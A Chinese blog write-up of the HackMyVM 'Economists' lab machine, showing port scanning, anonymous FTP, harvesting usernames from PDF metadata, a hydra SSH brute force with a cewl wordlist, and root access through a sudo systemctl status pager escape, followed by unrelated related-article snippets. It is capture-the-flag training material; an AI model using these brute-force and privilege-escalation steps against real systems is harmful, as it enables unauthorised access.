[HackMyVM]靶场Economists

难度:Easy

kali:192.168.56.104

靶机:192.168.56.145

端口扫描

┌──(root㉿kali2)-[~]
└─# nmap 192.168.56.145
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-04 18:58 CST
Nmap scan report for 192.168.56.145
Host is up (0.000081s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:E0:55:E3 (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds

开启端口:21 22 80

试一下ftp匿名登录

┌──(root㉿kali2)-[~/Desktop]
└─# ftp 192.168.56.145
Connected to 192.168.56.145.
220 (vsFTPd 3.0.3)
Name (192.168.56.145:root): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||11414|)
150 Here comes the directory listing.
-rw-rw-r--    1 1000     1000       173864 Sep 13  2023 Brochure-1.pdf
-rw-rw-r--    1 1000     1000       183931 Sep 13  2023 Brochure-2.pdf
-rw-rw-r--    1 1000     1000       465409 Sep 13  2023 Financial-infographics-poster.pdf
-rw-rw-r--    1 1000     1000       269546 Sep 13  2023 Gameboard-poster.pdf
-rw-rw-r--    1 1000     1000       126644 Sep 13  2023 Growth-timeline.pdf
-rw-rw-r--    1 1000     1000      1170323 Sep 13  2023 Population-poster.pdf
226 Directory send OK.

好多pdf文件,get下来看了一下,pdf上面没什么东西,分析一下有什么username

┌──(root㉿kali2)-[~/Desktop]
└─# exiftool *.pdf | grep Author
Author                          : joseph
Author                          : richard
Author                          : crystal
Author                          : catherine
Author                          : catherine

拿到几个用户名,可能有用

先随便扫一下

┌──(root㉿kali2)-[~]
└─# gobuster dir -u http://192.168.56.145 -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.145
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,php,bak,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 279]
/images               (Status: 301) [Size: 317] [--> http://192.168.56.145/images/]
/index.html           (Status: 200) [Size: 35027]
/about.html           (Status: 200) [Size: 23219]
/contact.html         (Status: 200) [Size: 14317]
/blog.html            (Status: 200) [Size: 15196]
/main.html            (Status: 200) [Size: 931]
/services.html        (Status: 200) [Size: 17709]
/css                  (Status: 301) [Size: 314] [--> http://192.168.56.145/css/]
/js                   (Status: 301) [Size: 313] [--> http://192.168.56.145/js/]
/cases.html           (Status: 200) [Size: 18018]
/readme.txt           (Status: 200) [Size: 410]
/fonts                (Status: 301) [Size: 316] [--> http://192.168.56.145/fonts/]
/.html                (Status: 403) [Size: 279]
Progress: 433406 / 1323366 (32.75%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 433517 / 1323366 (32.76%)
===============================================================
Finished
===============================================================

去web看下

没找到什么利用点

尝试用获取的username爆破一下ssh,用rockyou没爆破出来,可能字典不对,用cewl获取网页单词生成字典

┌──(root㉿kali2)-[~/Desktop]
└─# cewl http://192.168.56.145 > passes.txt┌──(root㉿kali2)-[~/Desktop]
└─# hydra -L user.txt -P passes.txt ssh://192.168.56.145 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-04 19:22:07
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 1848 login tries (l:4/p:462), ~29 tries per task
[DATA] attacking ssh://192.168.56.145:22/
[22][ssh] host: 192.168.56.145   login: joseph   password: wealthiest
[STATUS] 494.00 tries/min, 494 tries in 00:01h, 1386 to do in 00:03h, 32 active

拿到一组账号密码 joseph:wealthiest

直接拿到user flag

┌──(root㉿kali2)-[~/Desktop]
└─# ssh joseph@192.168.56.145 
The authenticity of host '192.168.56.145 (192.168.56.145)' can't be established.
ED25519 key fingerprint is SHA256:nKBoUMUnxyKH34KaiDU6gjV4RVOrd181pL9rHCLLD0s.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.145' (ED25519) to the list of known hosts.
joseph@192.168.56.145's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-162-generic x86_64)* Documentation:  https://help.ubuntu.com* Management:     https://landscape.canonical.com* Support:        https://ubuntu.com/advantageSystem information as of Thu 04 Apr 2024 11:25:01 AM UTCSystem load:  0.26               Processes:               115Usage of /:   47.3% of 11.21GB   Users logged in:         0Memory usage: 7%                 IPv4 address for enp0s3: 192.168.56.145Swap usage:   0%* Introducing Expanded Security Maintenance for Applications.Receive updates to over 25,000 software packages with yourUbuntu Pro subscription. Free for personal use.https://ubuntu.com/proExpanded Security Maintenance for Applications is not enabled.51 updates can be applied immediately.
To see these additional updates run: apt list --upgradableEnable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro statusThe list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settingsjoseph@elite-economists:~$ id
uid=1001(joseph) gid=1001(joseph) groups=1001(joseph)
joseph@elite-economists:~$ ls -al
total 32
drwxr-xr-x 4 joseph joseph 4096 Apr  4 11:23 .
drwxr-xr-x 6 root   root   4096 Sep 13  2023 ..
-rw------- 1 joseph joseph    0 Sep 14  2023 .bash_history
-rw-r--r-- 1 joseph joseph  220 Sep 13  2023 .bash_logout
-rw-r--r-- 1 joseph joseph 3771 Sep 13  2023 .bashrc
drwx------ 2 joseph joseph 4096 Apr  4 11:23 .cache
drwxrwxr-x 3 joseph joseph 4096 Sep 13  2023 .local
-rw-r--r-- 1 joseph joseph  807 Sep 13  2023 .profile
-rw-rw-r-- 1 joseph joseph 3271 Sep 14  2023 user.txt
joseph@elite-economists:~$ cat user.txt ...................                 ....................                      .............................        .............................                 ............              ...........     ......              ............             ........                         ........                             ........           ........              ...              ........           ....              .......         ......                .....         ..     ......          .....                ......       .............................        .....     ......        .............................     ..............................       .....        .....       ..............................    .....          .....                                        .....            .....                                       .....              .....                                      .....              .....                                      .....                ....                                      .................................................................................................. 
................................................................................................... .....               .....                                      .....              .....                                      .....              .....                                      .....            .....                                       .....          .....                                        ..............................       .....        .....       ..............................    .............................        ......     .....        .............................     ......                .....         .......     ..         .....                ......       ........              ...            .......              ....              .......         ........                            .........                         ........           ...........               ......     ...........               ...........             ..............................       ..............................                 .....................                ....................                      Flag: HMV{37q3p33CsMJgJQbrbYZMUFfTu}

sudo -l

joseph@elite-economists:~$ sudo -l
Matching Defaults entries for joseph on elite-economists:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser joseph may run the following commands on elite-economists:(ALL) NOPASSWD: /usr/bin/systemctl status

直接执行

sudo /usr/bin/systemctl status

然后再底端命令行输入!bash就拿到了root权限

joseph@elite-economists:~$ sudo /usr/bin/systemctl status
● elite-economistsState: runningJobs: 0 queuedFailed: 0 unitsSince: Thu 2024-04-04 10:57:17 UTC; 32min agoCGroup: /├─user.slice │ └─user-1001.slice │   ├─user@1001.service …│   │ └─init.scope │   │   ├─1776 /lib/systemd/systemd --user│   │   └─1777 (sd-pam)│   └─session-4.scope │     ├─1760 sshd: joseph [priv]│     ├─1856 sshd: joseph@pts/0│     ├─1857 -bash│     ├─1898 sudo /usr/bin/systemctl status│     ├─1899 /usr/bin/systemctl status│     └─1900 pager├─init.scope │ └─1 /sbin/init maybe-ubiquity└─system.slice ├─apache2.service │ ├─759 /usr/sbin/apache2 -k start│ ├─764 /usr/sbin/apache2 -k start│ └─765 /usr/sbin/apache2 -k start├─systemd-networkd.service │ └─641 /lib/systemd/systemd-networkd├─systemd-udevd.service │ └─393 /lib/systemd/systemd-udevd├─cron.service │ └─659 /usr/sbin/cron -f├─polkit.service │ └─667 /usr/lib/policykit-1/polkitd --no-debug├─networkd-dispatcher.service 
!bash
root@elite-economists:/home/joseph# id
uid=0(root) gid=0(root) groups=0(root)
root@elite-economists:~# cat ro*...................                 ....................                      .............................        .............................                 ............              ...........     ......              ............             ........                         ........                             ........           ........              ...              ........           ....              .......         ......                .....         ..     ......          .....                ......       .............................        .....     ......        .............................     ..............................       .....        .....       ..............................    .....          .....                                        .....            .....                                       .....              .....                                      .....              .....                                      .....                ....                                      .................................................................................................. 
................................................................................................... .....               .....                                      .....              .....                                      .....              .....                                      .....            .....                                       .....          .....                                        ..............................       .....        .....       ..............................    .............................        ......     .....        .............................     ......                .....         .......     ..         .....                ......       ........              ...            .......              ....              .......         ........                            .........                         ........           ...........               ......     ...........               ...........             ..............................       ..............................                 .....................                ....................                      Flag: HMV{NwER6XWyM8p5VpeFEkkcGYyeJ}

这才是easy难度的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/792511.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

完美运营版商城/拼团/团购/秒杀/积分/砍价/实物商品/虚拟商品等全功能商城

(购买本专栏可免费下载栏目内所有资源不受限制,持续发布中,需要注意的是,本专栏为批量下载专用,并无法保证某款源码或者插件绝对可用,介意不要购买!购买本专栏住如有什么源码需要,可向博主私信,第二天即可发布!博主有几万资源) 完美运营版商城/拼团/团购/秒杀/积分…

Windows常用快捷键(效率、组合键、文字编辑、文件、Home、End、Delete)

这是一行测试语言,没有其他的含义.这是一行测试语言, 没有其他的含义.这是一行测试语言, 没有其他的含义。这是一行测试语言, 没有其他的含义.这是一行测试语言, 没有其他的含义.这是一行测试语言,没有其他的含义。这是一行测试语言, 没有其他的含义.这是…

上位机图像处理和嵌入式模块部署(qmacvisual之tcp客户端)

【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 视觉算法出了结果之后,一般都要通知到其他设备进行某些动作的。以前通信的方式,一般都是有线的,什么232、485、…

TiDB单机版安装和连接访问

TiDB单机版安装和连接访问 1、下载 $wget http://download.pingcap.org/tidb-latest-linux-amd64.tar.gz 2、解压缩 $tar -zxvf tidb-latest-linux-amd64.tar.gz 3、启动TiDB 启动PD $./bin/pd-server --data-dirpd --log-filepd.log 启动tikv $./bin/tikv-server --pd…

ARM IHI0069F GIC architecture specification (5)

Ch2 中断分配与路由 2.1 The Distributor and Redistributors Distributor 为 SPI 提供路由配置,并保存所有关联的路由和优先级信息。 Redistributor 提供 PPI 和 SGI 的配置设置。 Redistributor总是在有限的时间内向 CPU 接口呈现具有最高优先级的待处理中断。 …

957: 逆置单链表

学习版 【C语言】 #include<iostream> using namespace std; typedef struct LNode {char data;struct LNode* next;LNode(char x) :data(x), next(nullptr) {} }LNode; void creatlist(LNode *&L) {int n;char e;cin >> n;LNode* p1, * p2;p1 L;for (int i…

帝国CMS模板源码整站安装说明(图文)

安装步骤 第一步&#xff1a;先把得到的文件解压缩&#xff0c;把文件通过FTP传到空间里。&#xff08;请不要把类似www.lengleng.net这个文件夹传到FTP&#xff0c;请传这个大文件夹下面的所有文件夹和文件到空间根目录&#xff0c;请不要上传到2级目录&#xff0c;除非你自己…

Windows下用CMake编译PugiXML及配置测试

作者&#xff1a;翟天保Steven 版权声明&#xff1a;著作权归作者所有&#xff0c;商业转载请联系作者获得授权&#xff0c;非商业转载请注明出处 PugiXML是什么&#xff1f; PugiXML 是一个用于解析和操作 XML 文档的 C 库。它提供了简单易用的接口&#xff0c;能够高效地加载…

网络基础二——TCP可靠性实现机制补充

11.3.4确认应答机制 ​ 1.双方通信时要返回确认应答报文&#xff0c;保证对方发送的报文是有效的&#xff1b;尽管整个通信过程中无法保证数据全部可靠&#xff0c;但是可以保证单个方向发送的数据是可靠的&#xff1b; ​ 发送的报文要设置序号&#xff0c;如果是应答报文要…

为移动云数据实现基于可撤销属性组的加密:多代理辅助方法

参考文献为2023年发表的Achieving Revocable Attribute Group-Based Encryption for Mobile Cloud Data: A Multi-Proxy Assisted Approach 动机 对于目前的代理辅助的可撤销基于属性加密来说&#xff0c;外包解密存一些缺点。当多个具有相同属性的用户请求外包转换时&#x…

日期专题:做题笔记 (时间显示/星期计算/星系炸弹/第几天/纪念日)

目录 时间显示 代码 星期计算 代码 星系炸弹 代码 第几天 纪念日 代码 时间显示 时间显示 这道题主要是单位换算。 ①单位换算 ②输出格式&#xff1a; a. 不足两位补前导零。利用printf输出 b. 注意 long long 输出格式应该是 %lld 长整型 代码 #include <…

Python 之 Fastapi 框架学习

依赖安装 Fastapi 有版本要求&#xff0c;需要的 Python 版本至少是 Python 3.8&#xff08;不要犟&#xff0c;按照版本要求来&#xff0c;我最先也是在我 Python3.6 上装的&#xff0c;果不其然跑不起来&#xff09;&#xff0c;幸好我 Win7 老古董能支持的 Python 最高版本…

《C++程序设计》阅读笔记【1-函数】

&#x1f308;个人主页&#xff1a;godspeed_lucip &#x1f525; 系列专栏&#xff1a;《C程序设计》阅读笔记 本文对应的PDF源文件请关注微信公众号程序员刘同学&#xff0c;回复C程序设计获取下载链接。 1 函数1.1 概述1.2 函数定义、声明、原型1.3 变量1.3.1 全局变量1.3.…

内部类(来自类和对象的补充)

❤️❤️前言~&#x1f973;&#x1f389;&#x1f389;&#x1f389; hellohello~&#xff0c;大家好&#x1f495;&#x1f495;&#xff0c;这里是E绵绵呀✋✋ &#xff0c;如果觉得这篇文章还不错的话还请点赞❤️❤️收藏&#x1f49e; &#x1f49e; 关注&#x1f4a5;&a…

HTMLCSSJS

HTML基本结构 <html><head><title>标题</title></head><body>页面内容</body> </html> html是一棵DOM树, html是根标签, head和body是兄弟标签, body包括内容相关, head包含对内容的编写相关, title 与标题有关.类似html这种…

非写代码无以致远

标题党一下&#xff0c;本篇文章主要汇总了一些代码题&#xff0c;让大家写一些代码练习一下吧&#xff01; 变种水仙花_牛客题霸_牛客网 (nowcoder.com) #include<stdio.h> int main() {for (int i 10000; i < 99999; i) {int sum 0;for (int j 10; j < 1000…

Linux操作系统之防火墙

目录 一、防火墙 1、防火墙的类别 2、安装iptables(四表五链&#xff09; ​​​​​​​一、防火墙 1、防火墙的类别 安全产品 杀毒 针对病毒&#xff0c;特征篡改系统中文件杀毒软件针对处理病毒程序 防火墙 针对木马&#xff0c;特征系统窃密 防火墙针对处理木马 防火墙…

Python 一步一步教你用pyglet制作“彩色方块连连看”游戏(续)

“彩色方块连连看”游戏(续) 上期讲到相同的色块连接&#xff0c;链接见&#xff1a; Python 一步一步教你用pyglet制作“彩色方块连连看”游戏-CSDN博客 第八步 续上期&#xff0c;接下来要实现相邻方块的连线&#xff1a; 首先来进一步扩展 行列的类&#xff1a; class R…

VC++建立空文档失败的一种情形

假设现在要在单文档程序的客户区创建控件; 把控件作为视类的成员变量; 先把成员变量定义加到视类头文件; 然后在视类的, BOOL CMyttView::PreCreateWindow(CREATESTRUCT& cs) {....... } 在此成员函数中创建控件; 运行程序,就会出现如下错误, 这就需要在类向导…

gpt4.0中文版

我愿把这个网站成为全球最强AI网站&#xff01;弄100多个AI伺候你&#xff1f;&#xff1f; 家人们&#xff0c;你们猜我发现了什么牛逼的AI网站&#xff1f;&#xff1f; 直接上图&#xff1a; 编辑 这个网站&#xff0c;聚合了国内外100多个顶尖的AI&#xff0c;包括了Op…